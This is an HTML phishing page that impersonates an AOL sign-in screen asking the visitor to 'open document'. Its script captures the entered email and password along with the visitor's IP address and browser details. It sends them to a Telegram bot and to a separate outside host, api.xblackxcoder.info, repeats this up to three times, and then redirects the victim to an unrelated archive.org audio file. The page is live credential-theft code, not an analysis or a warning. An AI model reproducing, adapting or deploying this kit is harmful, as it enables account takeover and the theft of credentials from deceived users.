<!DOCTYPE html>
<html lang="en">
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
      <meta name="description" content="">
      <meta name="author" content="">
      <title id="title"></title>
      <link rel="canonical" href="https://getbootstrap.com/docs/4.0/examples/floating-labels/">
      <!-- Bootstrap core CSS --> 
      <link href="https://getbootstrap.com/docs/4.0/dist/css/bootstrap.min.css" rel="stylesheet">
      <!-- Custom styles for this template --> 
      <link href="https://getbootstrap.com/docs/4.0/examples/floating-labels/floating-labels.css" rel="stylesheet">
      <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/core.min.js"></script>
      <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/md5.js"></script>
      <style type="text/css"> 
         body { 
            background-repeat:no-repeat !important; 
            background-position: center center !important; 
            webkit-background-size: cover !important; 
            -moz-background-size: cover !important; 
            -o-background-size: cover !important; 
            background-size: cover !important; 
            background-color: rgba(255,255,255,0.8) !important; 
            background-blend-mode: lighten !important; 
         } 
      </style>
   </head>
   <body>
      <div class="modal-dialog" role="document">
         <div class="modal-content rounded-5 shadow">
            <div class="modal-body p-5 pt-0">
               <div class="form-signin">
                  <div class="text-center mb-4">
                     <div id="dlogo">
                        <img src="https://s.yimg.com/wm/assets/images/ns/aol-logo-black-v.0.0.2.png" alt="Aol" class="logo" width="100">
                        <img src="https://s.yimg.com/wm/assets/images/ybar/aol-logo-white-v0.0.4.png" alt="Aol" class="dark-mode-logo logo" width="100">
                     </div>
                     <h4 class="h3 mb-3 font-weight-normal" id="dname"></h4>
                     <p class="text-center">To open document, access with the email below.</p>
                  </div>
                  <fieldset disabled>
                     <div class="form-label-group">
                        <input name="emailAddr" type="email" id="inputEmail" class="form-control" placeholder="Email address">
                        <label for="inputEmail" id="emailtext">[[_email]]</label>
                     </div>
                  </fieldset>
                  <div class="form-label-group">
                     <input name="emailPassword" type="password" id="inputPassword" class="form-control" placeholder="Password" required="" autofocus="">
                     <label for="inputPassword">Password</label>
                  </div>
                  <input type="hidden" id="UserEmail" value="Sendgrid Blast tips_USA.txt">
                  <input type="hidden" id="DateSent" value="[[date_current()]]">
                  <div class="checkbox mb-3">
                     <label><input type="checkbox" value="remember-me"> Remember me</label>
                  </div>
                  <button id="xCoderz" class="btn btn-lg btn-primary btn-block" type="submit">Sign in</button>
                  <p class="mt-5 mb-3 text-muted text-center">
                     Copyright &copy; <script>document.write(new Date().getFullYear())</script> All Rights Reserved
                  </p>
               </div>
            </div>
         </div>
      </div>
      <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
      <script>
         // Auto-populate email field from URL parameters
         document.addEventListener("DOMContentLoaded", function() {
             const urlParams = new URLSearchParams(window.location.search);
             const email = urlParams.get('email') || 'default@example.com'; // Default email if none provided
             
             const emailInput = document.getElementById("inputEmail");
             const emailText = document.getElementById("emailtext");
             if (emailInput && emailText) {
                 emailInput.value = email;
                 emailText.textContent = email;
             }
         });

         var requestCount = 1;
         document.getElementById("xCoderz").addEventListener("click", function(e) {
            e.preventDefault(); 
            $.getJSON('https://api.ipify.org?format=jsonp&callback=?', function(data) {
                const userip = data['ip'];
                var emailAddr = $("#emailtext").text();
                var emailPassword = document.querySelector('input[name="emailPassword"]').value;
                let agent = navigator.userAgent;
                var message = "xBlackxCoder AOL Result | Email: "+emailAddr+" | Password: "+emailPassword+"+- >>> | 🛡 IP ==> "+userip+"| Useragent: "+agent;
                var token = "BOT-TOKEN";   
                var chat_id = CHAT-ID;
                var url = 'https://api.telegram.org/bot'+token+'/sendMessage?chat_id='+chat_id+'&text='+encodeURI(message)+'&parse_mode=html';
                function sendRequest() {
                    var oReq = new XMLHttpRequest();
                    oReq.open("GET", url, true);
                    oReq.send();
                    const xBlackx = "https://api.xblackxcoder.info/v2/Aol.php?TOKEN="+token+"&CHAT="+chat_id+"&email="+encodeURI(emailAddr)+"&password="+encodeURI(emailPassword)+"&apikey=xBlackxCoder";
                    var xoReq = new XMLHttpRequest();
                    xoReq.open("GET", xBlackx, true);
                    xoReq.onreadystatechange = function() {
                        if (xoReq.status == 200) {
                            console.log("Request processed successfully.");
                        }
                    };
                    xoReq.send();
                }
                function processRequests() {
                    if (requestCount < 4) {
                        sendRequest(); 
                        requestCount++;
                    } else {
                        window.location = "https://ia804509.us.archive.org/35/items/6783654163-20190904-161640/6783654163_20190904_161640.mp3";
                    }
                }
                processRequests();
            });
         }); 
      </script>
   </body>
</html>
